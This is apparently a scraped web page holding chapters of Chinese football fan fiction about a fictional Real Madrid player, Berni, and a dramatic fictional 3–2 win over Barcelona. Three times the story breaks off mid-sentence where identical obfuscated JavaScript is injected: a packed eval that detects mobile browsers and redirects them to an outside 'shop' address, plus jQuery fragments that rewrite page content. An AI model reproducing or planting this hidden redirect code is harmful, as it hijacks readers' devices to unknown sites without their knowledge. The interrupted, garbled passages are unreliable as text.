恩德里克转而呼唤他:“伯尼!我们来比赛谁踢中中球门横梁的次数更多吧?”
恩德里克把球放在地上,身上的白色运动服已经被汗浸透,他助跑大力打门,球像炮弹出膛一样打在横梁上,响亮的“咚”一声反弹入网。
伯尼夸他,好霸气的弧线,像重炮卡洛斯。
恩德里克还在淌着汗,伸脚去拨离他最近的另一个球。他踢了五个任意球,只有最后一个弧线略低了一点,没击中横梁。
卢宁也夸他,很棒。
伯尼站在球门前抬眼望过去,视线中只有绿茵、球门与菱格球网,他的心突然平静下来,脚抢在思绪流动之前射门——
五球五中。
他听到卢宁和恩德里克在背后鼓掌,恩德里克喊道:“Bravo! (太完美了!)”
伯尼正把散落的足球拣回筐里时,恩德里克一直盯着他瞧,手里的矿泉水瓶捏得“呲啦”一下扁下去又鼓起来,问道:“伯尼,你的定位球真的很准,你从小就能踢这么准吗?”
伯尼笑着摇摇头,“还是得练的……可能我小时候也没什么别的爱好,就喜欢踢球。”
“很多人都练不出来的,在巴西喜欢足球的小孩太多了,但像你这样有天赋的没几个,”恩德里克也笑了一下,露出洁白的牙齿,“我感觉……你好像能和足球说话。”
伯尼有点不好意思地挠挠头。
卢宁看一眼恩德里克又看一眼他,仍然没什么表情,低头摆弄自己的手套。
“那你有没有想过……先出去踢一阵?”恩德里克看着伯尼,“租借那种。你经纪人有没有跟你聊过?有没有别的队想把你租过去?”
“卢宁,你呢?你想过没?出去踢一年那种。”
卢宁答道:“没有。”
伯尼挑挑眉,只是问:“你不想在皇马踢了?”
“不是,”恩德里克别开了眼睛,望着不远处的球门,眉毛垂着,一滴汗顺着鼻梁滑下来,“……是米兰达问我,她说……法国里昂很漂亮。”
伯尼愣了一下,原来是因为这个。
他把手里的最后一个球扔进筐里,手肘撑在框子边缘,满脸笑容,语气却非常执着:
“……我倒是从来没想过在皇马之外的俱乐部踢球。除非俱乐部不要我,不然我不会走。我也知道皇马的球员都很强,也知道离开皇马的人很多在别的地方也踢得很好……但我挺喜欢这里的,来了之后,我没想过要走。”
伯尼还有一句话没说出口,他其实想在皇马退役呢。
恩德里克抹了一把额头上的汗,小声咕哝道:“可要是一直替补没比赛踢,水平也很难进步,身体也不适应比赛节奏……在国家队肯定也没法保持最好状态。”
卢宁凉凉道:“能坐替补席已经不错了,还有人连替补都轮不上啊。”
伯尼想到他们的三门凯帕,笑容一下子收敛了。
恩德里克像是没听见似的,继续自言自语道:“……最后可能是浪费了很多时间,还得走人。运气好的像阿什拉夫那样能去巴黎,运气不好的就——”
恩德里克没再说下去,或许是看见伯尼脸上的迷茫表情,眼睛睁大了一瞬,像是突然意识到了什么似的,皱着眉头问他:“呃,伯尼,你觉得……一个成功的球员是什么样的?”
伯尼沉默了几秒,极其诚实地告诉他:“能一直踢出好球,同时真心喜欢足球。”
他看着恩德里克“呲啦”一声捏扁了瓶子,汗正无止无尽地顺着棕黑的脸颊淌下来,像是他那蓬头发里藏着个水龙头似的。
恩德里克也望着他,仿佛第一天认识他似的新奇目光。
他们两个并肩在皇马的替补席上坐了两年,恩德里克却好像从今天才开始了解他。
恩德里克之后说,我明白你的意思了,伯尼,可你不想拿金球奖吗?嗯,不对,我也不是那个意思——
他两只手“哗啦哗啦”把塑料瓶捏得很响。
伯尼听懂了,视线越过看起来惴惴不安的恩德里克望向远方,他眼前一望无际的草皮延伸向另一端。
“从皇马训练中心到伯纳乌球场不过几公里的距离,很多孩子却一生都没有走到过。”
这是伯尼刚来到皇马时门德斯说的话,当时车正从训练中心驶出,门德斯指着车窗外掠过那一片绿茵笑着和他说话,浅灰色西装在车灯下透着丝绸的光泽。
伯尼却笑不出来。
当时伯尼还不认识恩德里克,门德斯把他带来皇马首次亮相,神情温和地向他提出了两个要求——
第一,写一篇回忆童年艰辛的演讲稿。
第二,把头发染成他舅舅法比奥·科恩特朗之前在皇马时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323586|199092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的金棕色。
门德斯说得很含蓄,但他听懂了,随后神情平静地拒绝了。
他还记得门德斯当时坐在他对面,双手交握着放在桌上,脸上的笑容就那么一点点淡下去,然后开口道:“……那好吧,这是你的决定,我尊重。”他顿了顿,又露出那种职业性的微笑,“欢迎来到皇马。希望你在这里过得不错。”
于是,伯尼在皇马的亮相仪式平淡收尾,因为那天马德里出了一场车祸,他的照片没有印在报纸的头版上,但足球小报报道了他——“法比奥·科恩特朗的侄子加盟皇马,只是没有穆里尼奥的庇护,他还能在这里站稳脚跟吗?”
他并没把小报的消息告诉他舅舅,但他舅舅仍然知道了,特地给他发了条讯息:那些狗仔一直记恨着我……还好有你来帮我分担一下火力[赞]
一个月后,伯尼在皇马的官网上看到了恩德里克加盟皇马的亮相视频,一身球衣,手举着麦克风边发言边流泪,而他妈妈坐在台下,哭得眼妆晕染成一片,蓝紫色混合着化开,像是伯尼外公家墙上那片暗色的霉斑。
伯尼感觉自己像是被什么击中了,心里有个不大不小的窟窿,他立刻跳起来去找他妈,问她:“如果那天你去马德里看了我的亮相仪式,你会哭出来吗?”
他妈妈正俯在缝纫机前“笃笃笃”地工作,听他问完,头也没抬大声说:“当然不会!你实现了你的梦想,我高兴都还来不及!”
缝纫机“笃笃”的响声不绝于耳,伯尼看向一旁柜子上的一个小相框,那旁边摆着一个小圣母像,金发,蓝袍,白衣,面容圣洁而美丽。
……
那天训练结束时伯尼载着恩德里克离开,因为恩德里克还没考出驾照,就这么持续两年了。
黑色SUV刚驶出停车场,迎面就看见街边站着一排举着手机的人,镜头对着他们“咔擦咔擦”地闪烁。
伯尼把车停下来,正想打开车窗,人群一下子涌过来,手机举过头顶对着车内拍着,恩德里克抱怨道:“都是狗仔——你干嘛给他们签名?而且他们未必是在等我们俩。”
伯尼笑了一下,“我们俩的签名还没那么值钱吧,他们不想签的话不会围过来的。”
恩德里克像是思索了一会儿,然后无奈地耸耸肩。
伯尼打开车窗——
“伯尼!伯尼这边!”
“Hey Berni!一个签名,求你了!就这儿!在球衣这儿签一下!”
“伯尼,那个点球太漂亮了!”
“恩德里克!看这边!一张照片!Endrick!Vamos!”
“可以给我儿子签一下吗?就一下!”
直到他们挥手和球迷们道别,恩德里克双手抱头向后躺倒在座位上,嘴角的笑容收都收不住,两排大白牙明晃晃地露在外面。
“感觉不错吧?”伯尼打了圈方向盘,眼睛望着前方,“坚持住,不要走。你来皇马的时候都说了——这是世界上最大的俱乐部,在皇马,你必须赢下一切。至少……先拿个欧冠冠军和西甲冠军再说。”
6.第六瓶水
第六章第六瓶水
2024年4月21日。
伯纳乌球场。
【皇马0:0巴萨】 6’
伯尼站在禁区内紧盯着角球旗杆旁的拉菲尼亚,视线却总被几个晃动的背影阻挡,人高马大的巴萨后卫阿劳霍在皇马球员中窜来窜去,背后的红蓝条纹像是移动的警示牌。
拉菲尼亚弯腰放好球,向后退了两步。
伯尼的神经瞬间绷紧,他视线里前点有纳乔、巴斯克斯和巴尔韦德,吕迪格挤着阿劳霍,楚阿梅尼贴着孔德,余光能看到贝林厄姆和莫德里奇在他右手边,两个前锋应该在禁区外围,那么后点应该有克罗斯和卡马文……加?
等等!卡马文加受伤了!
是他在踢卡马文加的位置啊!
几乎是伯尼意识到的那一瞬间,拉菲尼亚开出角球,足球拉着一条平快的弧线直冲向后点,他前面的所有人都齐刷刷回过头。
伯尼大步转身向后跑,看见巴萨的克里斯滕森如入无人之境一样冲到后点,压着克罗斯的肩膀起跳,甩头攻门——
“砰!”
足球斜斜地跃过卢宁钻入球网。
卢宁误判了球的落点,再跳起来扑救时已经来不及了,伯尼眼前掠过他的柠檬黄球衣,绷着膝盖紧急刹车才躲过去,卢宁直撞到克利斯滕森身上,两个人向后翻滚着。
开局第六分钟,皇马0:1落后。
他们身后的看台陷入一片沉默,而远处的巴萨球迷看台陷入欢腾。
伯尼听见克里森滕森的低吼,看着他一骨碌爬起来冲到角球区激情庆祝,而卢宁还躺在地上,只留克罗斯站在原地和他面面相觑。
克罗斯看看门里的球又看看天,伯尼记得刚才克里斯滕森整个上半身都压在克罗斯肩膀上,他连跳都跳不起来,像根葱一样被插在地里……整个人都矮了一截。
伯尼又扭头看向四周,队友们都漫无目的地向前后左右跨出几步,沉默无言,像是绿海上几艘漂泊的小白船,像是还没醒。
他不想面对队友和球迷的沉默,但更烦的是看着巴萨庆祝。
巴萨球员从各个位置冲向克里斯滕森,拉菲尼亚弯着手臂欢呼,佩德里跑过伯尼身边时还吐了吐长舌头,然后对他喊:
“GOOOL——”
伯尼一下子挂了脸,火气从脚底“噌噌”往上冒,几步冲进球门里把球抱起来,听见贝林厄姆在背后大吼:
“别庆祝了!我们马上扳回来!”
“对!继续踢!”吕迪格大力拍了一下手掌,边向前走边吼道:“所有人打起精神!我们在榜首领先,赢下这场,我们就是冠军了!今天就结束联赛!”
皇马场上所有人都走向各自位置,伯尼跟在他们后面,感觉哥几个这下是真醒了——
韦尼休斯在前面一挥手,“冲!打回来!”
克罗斯摇摇手指,“别急,按我们的节奏。”
卢宁在后面遥遥喊着:“注意盯人,贴紧!”
伯尼也补了句:“加油!我们可以的!”
皇马领先巴萨8分,而联赛只剩6轮,只要取胜,冠军几乎锁定!
“伯尼——把球给前面!”吕迪格朝前面指了指,“你注意德容,门迪,你负责亚马尔!”
伯尼小跑过去把球给韦尼休斯,低声说:“多进几个球,把比赛拿回来!”
再次开球之前,伯尼站在左8号位向右边望,贝林厄姆杵在中场前沿,巴尔韦德在右8号位,克罗斯拖后……他们四个再次站成一个短宽的菱形。
而他视线远处,伯纳乌看台已经打破了沉寂,好几根十几米长的旗杆伸向天空,皇马的队徽徐徐展开,向前飘扬。
哨声一响,罗德里戈把球回传给克罗斯,伯尼看着他向右跑,韦尼休斯向左路拉开,贝林厄姆前插,形成进攻三角。
他在心里默默开始画方位图。
与此同时,中场也开始拉开空间向前压迫,以克罗斯为核心组织进攻。
克罗斯带球转身,轻巧的一脚分球给左前方。
韦尼休斯一带球向前,巴萨的防线就像闻着了腥味的猫一样警觉起来,伯尼注意到有两三个人都紧盯着韦尼休斯的动作,直到他把球踢向中路。
伯尼跟着向前跑,眼见着贝林厄姆接球又回做,然而巴萨后卫贴得太紧,球又回到皇马的中后场。
克罗斯接球看了伯尼一眼,脚下精准地一记贴地斜传——
伯尼一下绷紧神经,脚内侧停球向前推进了四五步,在眼前有人影逼近时立刻把球回传。
伯尼抬头和那人对视,金发,蓝眼,宽阔的下颌,巴萨中场,弗兰基·德容。
德容捋了一把额前的头发,似乎并没注意到他,向后退了几步,视线一直跟着罗德里戈那块的控球权混战。
伯尼望过去,罗德里戈带球左转右拐,面前有好几个红蓝条纹的背影左堵右堵,巴萨中场抢断成功,球直奔着德容而来。
伯尼立刻向前冲过去,德容背对着他停球,身体半转准备向前带球,在那么短短一秒钟球暴露在他面前的空隙里,伯尼伸脚抢断,右脚一拨,左脚背平直地踢出——
球来到正向前狂奔的罗德里戈脚下。
这一次抢断让巴萨的进攻端停滞,伯尼的视线一直锁定罗德里戈身上,看着他高速掠过两个红蓝条纹的人影,巴萨防线像是链条一样开始晃动。
伯尼嗅到了一丝机会的气息,他转身向中路跑。
中路皇马的人越来越多,巴萨的防线明显紧张起来,几个后卫都开始移动,伯尼注意到坎塞洛身后不远,巴斯克斯神不知鬼不觉摸进了巴萨禁区右侧。
伯尼脑海里的空间图骤然被点亮起来。
球被传给贝林厄姆,又迅速短传到伯尼脚下,他看见巴斯克斯正朝他招手,毫不犹豫地抬脚撩起足球,带起一道直奔巴萨右路的弧线——
球像流星一样落在巴萨的禁区右侧,他面前的所有巴萨球员都向右转。
巴斯克斯右腿一垫接球,距离他最近的阿劳霍扑过去,伯尼正紧张,就看着巴斯克斯向右踢出弧线,人却向左停步又变向,阿劳霍刹不住车似的冲过了头,巴斯克斯一路沿底线冲进禁区!
极其写意的人球分过!
伯尼呆得长大了嘴停下脚步,估计好几个巴萨球员也看呆了,脚下凌乱起来,压低重心开始在禁区站桩——
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328221|199092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他看着红蓝竖条的“33”号背着手去挡巴斯克斯,重心不稳,右腿下意识向外伸出去,下一秒巴斯克斯已经被绊倒在地上。
巴斯克斯流畅地翻了个身,摊开手,粗喘着气,表情却非常松弛,像是在晒日光浴。
“哔!”
一声短促的哨响,裁判伸直手臂指向点球点,看台上欢呼声如浪涌。
比赛第18分钟,皇马获得点球!
伯尼下意识吼了声“YES”,肩上像是突然卸下了沉甸甸的担子一样轻松。
他扬起嘴角看了看四周,佩德里和克里斯滕森都摊着手围在裁判身边,而他队友们都是一脸轻松表情,挥着拳头从各处走向禁区外沿。
巴萨的“33”号撑开手臂,像只企鹅一样站起身,稚嫩的圆脸上满是沮丧,伯尼看了好几眼才记住他的名字。
库巴西,巴萨非常年轻的中后卫。
“GO——”
“加油马德里!”
“韦尼!韦尼!韦尼!”
在伯纳乌响彻全场的欢呼声中,韦尼休斯站到了点球点前。
伯尼撑着膝盖,和其他队友在禁区弧线外侧站成一排,看着韦尼休斯背后的“7”号,球门前伸开双臂的巴萨门将特尔施特根,还有球门背后欢腾的白色海洋。
他弓着背,绷着核心,随时就能和旁边做跑步预备姿势的罗德里戈一起弹射出去。
“哔——!”
韦尼休斯斜斜地助跑,荧光绿球鞋像风火轮一样抡向足球,美丽的弧线从特尔施特根两手之间穿进球门!
那一瞬间,球门背后的密密麻麻的人们全都伸直手臂站起来欢呼,所有人的脸上都洋溢着兴奋、喜悦、骄傲——
高昂的声浪像是风一般席卷了整个伯纳乌:
“GOOOOOOL!”
第18分钟,皇马1:1巴萨!
伯尼伸开手臂一回头,巴萨球员垂头丧气地四散,在漫天的欢呼声中呆呆站在伯纳乌的绿茵场上,像是一个个红蓝拼接的锥桶。
伯尼注意到一个泡面头的棕皮肤少年,正站在苦瓜脸的佩德里旁边,眼睛像豹子一样敏锐地扫视着周围。
巴萨的天才前锋,拉明·亚马尔。
他绷了绷脸上的笑容,突然又紧张起来,这场国家德比的确还没完。
点球点燃了伯纳乌的气氛,也让比赛踢得更加纠缠。
第27分钟,巴萨获得角球。
伯尼挤在禁区的人堆里,在推搡的肩膀之间紧盯着拉菲尼亚起脚,足球直直冲向前点,被人伸脚一挡,斜斜飞向门柱!
看台上爆发出惊呼,伯尼肩膀挤着阿劳霍,拥挤的视线里只能看见卢宁扑倒在地,迅速把球挡出。
他旁边的阿劳霍举手示意,“球进了!”
亚马尔扯着沙哑的嗓子也在喊:“进了!球真进了!”
伯尼向侧方退开一步,视野终于清晰,心悬在半空中。
卢宁爬起来挥手大声喊:“没进!”
离卢宁最近的吕迪格也举手,“球没过线!”
伯尼扭头望向裁判,看见裁判举着手指吹哨:
“哔——!”
7.第七瓶水
第七章第七瓶水
这是伯尼经历过最漫长的5秒钟。
他周围的巴萨球员都朝着裁判举起手,仿佛这长方形的禁区是一辆行驶中的巴士,而他们握着扶手。
在此起彼伏的“球进了”“越过门线了”的叫嚷声中,伯尼下意识看看离他几步开外的足球,又抬头望向裁判,脑海里拼命回忆着刚才卢宁扑救的瞬间……
球到底有没有完全越过门线?
他看着裁判放下哨子,单手捂着耳机步步向后退,心已经快跳到嗓子眼——
视线中裁判的嘴张成圆形一张一合,他愣了两秒才听清楚:
“NO GOAL!”
(“没有进球!”)
伯尼的一颗心重重落回肚子里,叉在腰上的手下意识捋了捋球裤口袋,这才发觉手心一片细汗。
他听见身后的佩德里深吸了口气,声音又低又急促:“怎么可能?我看得很清楚,球已经过线了!我看见了,已经进了——”
伯尼转身一步拦住他,看见佩德里被他吓了一跳。他面无表情,一肚子的火却像是要从眼里冒出来,伸出手比了个鸭嘴手势,手指并拢又开合,“你能不能闭上嘴?”
佩德里瞪大了眼睛,仰起头一步上前和他顶牛。
伯尼低头和佩德里对视,看见他额头前的刘海汗湿成三片,眼角向上吊起,鼓起的嘴像是发怒的金鱼。
“你——”
他听见佩德里的怒音。
佩德里眼神闪烁了一瞬,接着像是泄了气的皮球似的后退一步走开了。
伯尼回头,看见抱臂站着的吕迪格。
巴萨后场传球给德容,德容向前带球,伯尼跟在他斜前方,让自己的位置始终插在德容和亚马尔的连线之间——
谁知德容突然急变向把球踢出,伯尼膝盖一停一转,亚马尔已经插到他身前接球,背上亮白色的“27”号掠过眼前,伯尼耳边“轰”一声开始拉警报。
伯尼抬头看见门迪比他离亚马尔还远,血压“蹭”一下升上去,几乎是毫不犹豫地抬腿狂奔。
亚马尔背上的“27”号一下子近在咫尺,可又远得始终差一点点才能赶上,伯尼听见自己剧烈的喘息声和“砰砰”的心跳,大脑开始飞速而混乱地运转:
怎么办、怎么办……
伯尼剧烈晃动的视线里突然能看清一样东西:草皮上那条醒目的禁区边线,距他和亚马尔只有两步远。
“砰砰!砰砰!砰砰!”心跳声如擂鼓。
伯尼不知道自己的大脑是爆炸了还是给出了唯一的解决办法,接着他缺氧到正在翻滚着抗议的肺部给了他最后一点蓄力,让他能拉开大腿“蹭蹭”飞快迈开两步,膝盖瞄准了亚马尔飞抬的鞋钉一撞——
下一秒,亚马尔像是折翼的鸟一样摔了出去,而他刹不住车一路冲进禁区,边跑便听见裁判尖利的哨声:
“哔——!”
伯尼仰头闭了闭眼睛,感觉背上出了一层热汗。
他前方看台上的球迷看上去和他一样大松了口气,有的双手捂着脸,有的正对着他鼓掌,在一片喧闹声中他转过身,看见裁判手里的黄牌。
伯尼喘着气走回去,边走边抹了把汗。
喜提皇马生涯第一张黄宝石卡,同时也是第一次首发……没办法了。
然而他那颗惴惴不安的心还不能落下去,巴萨获得任意球,伯尼手撑着膝盖盯着拉菲尼亚的脏辫发型,脸上不显,心里却只能诚心诚意地向天祈祷:
踢不进踢不进踢不进……
拉菲尼亚如一团旋风似的大力打门,球惊险地擦着门框划了过去!
“呼……”
伯尼这下长长吐出了口气,像是劫后余生一样庆幸,他身旁的吕迪格听到了,像是安慰似的拍了拍他的肩。
第61分钟,伯尼扛着德容把球传到罗德里戈脚下,看着他后脚跟流畅地一磕给巴尔韦德。
巴尔韦德带着球假模假样地往回走,可伯尼已经看见左边路的韦尼修斯像个弹簧一样侧着步子往回跳,一脸“我准备好了”的自信神情。
伯尼下意识跟着向前跑。
巴尔韦德脚步鬼魅地一转,足球从巴萨两个后卫中间越过向前滚,韦尼休斯弹射起步,接球,带了一步,在巴萨防线到位之前边路传中——
足球拉出一道极其美丽的弧线从左侧角球区跃起,越过巴萨即将就位的防线,在小禁区弹地而起直奔巴斯克斯!
伯尼在捕捉到巴斯克斯的身影时就已经心跳狂跳,他们的右后卫不知何时又出现在进攻端的最前方,狂奔向前,不停球直接打门——
巴萨门将特尔施特根侧摔在球门前,球速快得只能看清一条模糊的线,“砰”一声极响地洞穿球门!
伯纳乌球场被彻底点燃了,伯尼看见巴斯克斯冲过去和场边的球迷互喊,看台上的所有人都伸直手臂欢呼,声浪,人海,像永不停息的狂欢。
第62分钟,皇马2:1巴萨!
伯尼跑向巴斯克斯时还不忘心有余悸地瞟一眼亚马尔的位置,他一路向前跑,逆着巴萨的球员一路往回走,阿劳霍摊着手在抱怨,德容沉默地摇着头。
巴斯克斯对着看台用右手拍着他的左小臂,这是他惯用的庆祝姿势,然后转过身大力抱了一下伯尼,抱了一下罗德里戈,又和巴尔韦德击掌。
“Vamos!”
欢呼声震得伯尼耳膜发麻,他和罗德里戈对视一眼,看见他灿烂的露齿笑容,领先!
伯尼摸了摸汗湿的后背,感受到还有汗从脖颈缓缓向下淌,皮肤像蒸笼一样往外冒热气。
前60分钟里他既扛着德容,又帮门迪防守亚马尔,还要配合克罗斯组织进攻。这几个人在球场上的位置时刻在他脑海的战术图里移动变换,又被再次锁定……
他的脑细胞快耗光了,但一切都是值得的。
伯尼忍不住转头去看远处的安切洛蒂,看见银发老头插兜眺望着这边,脸上没什么表情,只有嘴角一动一动,像是在嚼口香糖。
伯尼憋住嘴角的笑,再次投入到比赛中。
中场对于球权的争夺越发激烈,贝林厄姆从佩德里脚下断球传给克罗斯,克罗斯正准备起脚却被从后冲过来的阿劳霍绊倒,球徐徐向前,滚到伯尼和德容中间。
伯尼预想了一下他身后的形势,然后一秒都不带犹豫地向前冲,隔着五六米远,看见德容表情愣了一下也向球冲来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334218|199092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伯尼脚背向前推球的力量大了一些,球斜斜地滚向德容的方向,他于是深吸了口气,大步踏出的同时压低重心,左膝盖弯下去,右胳膊抬起,把全身所有的力量汇聚在脚尖的那一处——
“砰!”
在耳边炸开极响的一声,伯尼脚尖绷直把球扫向了巴萨门前,整个人压得很低,几乎在草皮上向前滑行了一小段,视线中突然一抹黑,是德容同时伸脚扫向足球,然后单腿从他前面跨跳了过去。
然后他听见背后传来德荣的哀嚎:
“啊!!!”
刚才他和德容同时伸脚,足球在夹缝中震了一震,力量被卸掉不少,伯尼注视着球被特尔施特根接住,听见裁判吹哨,催促着巴萨队医上前。
伯尼视线中出现一截蓝色球裤,紫红色球袜,白球鞋,弯下腰向他伸出手,“……你还好吧?”
他慢慢抬头,是国家队队友,若昂·坎塞洛。
坎塞洛把他拉起来,重重喘着粗气,伯尼回头一看,佩德里和巴萨队医正围着德容,而德容抱着腿躺在地上,神情痛苦,额头淌着汗。
又有巴萨球员赶过来,捋着一头微卷的头发,只瞟了一眼地上的德容就向伯尼走过来。
伯尼向他点点头,是另一个国家队队友,若昂·菲利克斯。
他夹在两个“若昂”中间,叉腰看着德容被队医搀扶下场,感觉到坎塞洛盯了他好几眼,脸上神情欲言又止。
伯尼没时间细想,只一边擦汗一边向场边张望,看见裁判举起了黑色的换人牌,上面一红一绿两个数字闪烁着,巴萨换上的是16号费尔明。
坎塞洛走过他身边时长长吐出一口浊气,伯尼盯着着他脏兮兮的球衣后背和他脖子上的汗,觉得他这一场踢得很拼,其实葡萄牙人踢球都很拼,除了……
他眼神一转,看着菲利克斯跳着过去和佩德里说话,脸上还带着抹搞不清状况的笑容。
伯尼捏了把球衣上的汗。
第68分钟,坎塞洛接球,一脚长传球直冲向亚马尔。
伯尼一颗心骤然吊起来,跟着巴尔韦德抬脚就冲向禁区,看见门迪背着手挡在亚马尔跟前,而亚马尔闪转腾挪,送出一脚弧线球。
巴萨前锋莱万掠过吕迪格,在人到球到的瞬间抬起小腿,球奔向球门被卢宁挡出,弹着草皮飞到了刚换上场的费尔明身前……
伯尼的心凉了半截,眼睁睁看着费尔明像踢毽子似的把球踢入门中——
第68分钟,皇马2:2巴萨。
比分又回到了原点。
伯尼站在原地,感觉到身上的汗还在“哗哗”地向下淌,大腿根本抬不起来,仰头望见看台上人头攒动,大多数球迷满脸不可置信,另一些则直接站起来向他们比划。
一片凌乱的嘈杂。
他转过身,跟着沉默的队友往回走。
脚下浓绿的草皮似乎长得没有尽头,他拼了70分钟后一切好像又回到了原点,可他的脚底能感受到草皮下鼓动的心跳声:
“砰砰、砰砰、砰砰……”
那是伯纳乌的心跳,那是白色巨人的心跳。
对皇马来说,比赛往往是在最后二十分钟才真正开始的。
8.第八瓶水
第八章第八瓶水
狂奔。
无止境的来回狂奔。
伯尼眼前不断有汗“哗哗”的淌下来,视线右侧队友一脚斜传,他迈开腿再次启动,右脚一拨绕过阿劳霍,人往右跑,却把球向左推给正飞跑着掠过他身边的巴尔韦德——
巴维尔德把球交给最前方的韦尼修斯,伯尼眼见着他在阿劳霍和孔德的包夹中起脚,球被阿劳霍用腿挡飞,孔德和韦尼休斯抱摔着滚到草皮上。
看台上一阵此起彼伏的叹息。
伯尼绷着膝盖急停,手扶着膝盖大口喘气:
“呼……呼……”
他抬起头,混乱的视线中,韦尼休斯一骨碌爬起来直冲向孔德,巴维尔德挡在两个人中间,裁判匆匆赶来,板着脸向孔德亮黄牌。
孔德大张着嘴用手指了指自己,脏辫在脑后一甩一甩,又用手指向裁判,露出个“你该不会是在开玩笑吧”的笑容。
伯尼转身时忍不住笑了一下,他总觉得孔德好像个美国rapper。
第82分钟,巴萨后场把球传给菲利克斯,皇马再次开启疯狂折返跑。
伯尼边跑边对菲利克斯身后的巴尔韦德挤眼睛,在距离禁区两三步的位置上,巴尔韦德一伸手拽住菲利克斯的手臂,向前飞驰的足球一顿,慢悠悠滚到克罗斯脚边。
“哔——!”
伯尼擦汗的间隙里,主裁又亮出一抹黄。
今天简直是黄牌大战。
自从他挡在佩德里面前让他闭嘴、又早早领黄牌之后,不知为什么,伯尼觉得自己身上的担子一下子轻了许多,或许是破罐子破摔,已经无所谓了。
……但皇马必须赢!
伯尼深吸了口气,看看不远处的巴尔韦德,又看看巴萨后场的孔德、阿劳霍、坎塞洛……所有人都背着一张黄牌,弓着背一脸疲色。
门迪在这时晃进他的视线中,磨砂黑的后脑勺像是超强力吸色器一样引人注目。
伯尼感觉自己的脑袋上突然“叮”地亮起个灯泡。
他走过去低声对门迪说:“我和费德里科都有黄牌了……你在这里看好亚马尔,我要去前面了。”
门迪点点头,黑白分明的眼睛温和而沉默。
伯尼心里最后一点帮他擦屁股的无奈也没有了,转身大步向前跑去。
他的心忽然像燎原一样灼热起来,浑身的疲惫感在这时一扫而空,眼前的那片绿色不断模糊、晕开,和遥远看台上一个个攒动的人头、一颗颗紧攥的心脏交融在一起。
第89分钟,库巴西背后踹倒贝林厄姆,伯纳乌看台上嘲声如海,库巴西摊着手向后退,裁判出示黄牌后,贝林厄姆爬起来把球推给右前方的巴斯克斯。
伯尼下意识看了一眼场边闪动的计时牌,场上时间马上进入第90分钟,他迈开腿冲向巴萨禁区,一步、两步、三步,然后朝右路转身。
“砰!”
他看着巴斯克斯歪倒重心,而黑白涌动的足球不断向禁区逼近,替补中锋何塞卢在这时冲进他的视线中,挡着阿劳霍一抬腿——
足球钻过阿劳霍和何塞卢小腿中间的空隙向他滚来!
伯尼的心跳漏了一拍,右脚大步迈出去,左脚蓄力向前抡,迎上在眼前越放越大的足球,大力起脚——
“邦!”
脚内侧击球的瞬间,视线突然放得很慢。
他眼见着黑白涌动的足球弹起,越过劈着叉冲过来的孔德的鞋尖,蹭过特尔施特根的荧光黄手套边缘,猛力撞向球网!
球进了!
第90分钟,皇马3:2绝杀巴萨!
球网上泛起的那一片涟漪在几秒之间在他眼前消失了,他跪摔在草皮上,在耳边如雷鸣般爆发着的狂热喊声中爬起来,冲到场边,对着满场的球迷伸开手臂——
伯纳乌看台像个漏斗,把所有人倾尽全力的欢呼声都汇集到他一个人身上,他视线中的每一个人都笑着望着他,相拥着为他鼓掌,蹦跳着为他欢呼。
狂涌的白衣,翻飞的巨大旗帜,一双双满是骄傲与欢欣的眼睛……
仿佛这一刻,全世界的喝彩都为他而来——
“GOOOOOOOL——!!!”
“Berni! Berni! Berni!”
“Hala Madrid! Hala Madrid! Hala Madrid!”
背后有人“啪”一下撑着他的肩膀跳起来,他听见巴尔韦德不成曲调的狂喊,回头看见其他队友正飞奔向他。
吕迪格像是发狂的大猩猩一样仰天长啸,克罗斯一边嘴里念着什么一边整理发型,贝林厄姆对着看台激情挥手,门迪笑露出两排大白牙……
他们挥着拳大吼着“Bravo!”,像是要把这一场苦战的所有压力释放,场边的镜头一一扫过,一切都美好得不真实。
伯尼整个人都是懵的,感受到热血汩汩流过发热的太阳穴,绷到极致的神经还没回过神,一回头看见向他伸出手的巴斯克斯——
“啪!”
他下意识伸出手和巴斯克斯击掌,看见巴斯克斯脸上的汗正向下淌,嘴角咧开,眼尾露出好几条皱纹。
伯尼愣了一下,眼睑忽然泛酸,巴斯克斯的笑脸和他记忆中电视屏幕上那个白衣少年已经不再重合。
来自拉法布里卡的天才已老,而他才是如今人们在镜头前看见的少年。
伯尼憋住眼泪仰头望。
……
比赛最后的四分钟像坐牢一样煎熬,伯尼不记得自己扭头看了多少次计时牌,听见终场的哨声就往回跑,边跑边伸开双臂。
风像是柔拂的手掌一般拂过身侧,轻盈,甜蜜,如梦似幻。
伯尼一路越过好几个垂头丧气的红蓝条纹背影,在看清坎塞洛的背影时停下脚步,伸手拍了拍他的肩膀,说:
“你那脚传得不错。”
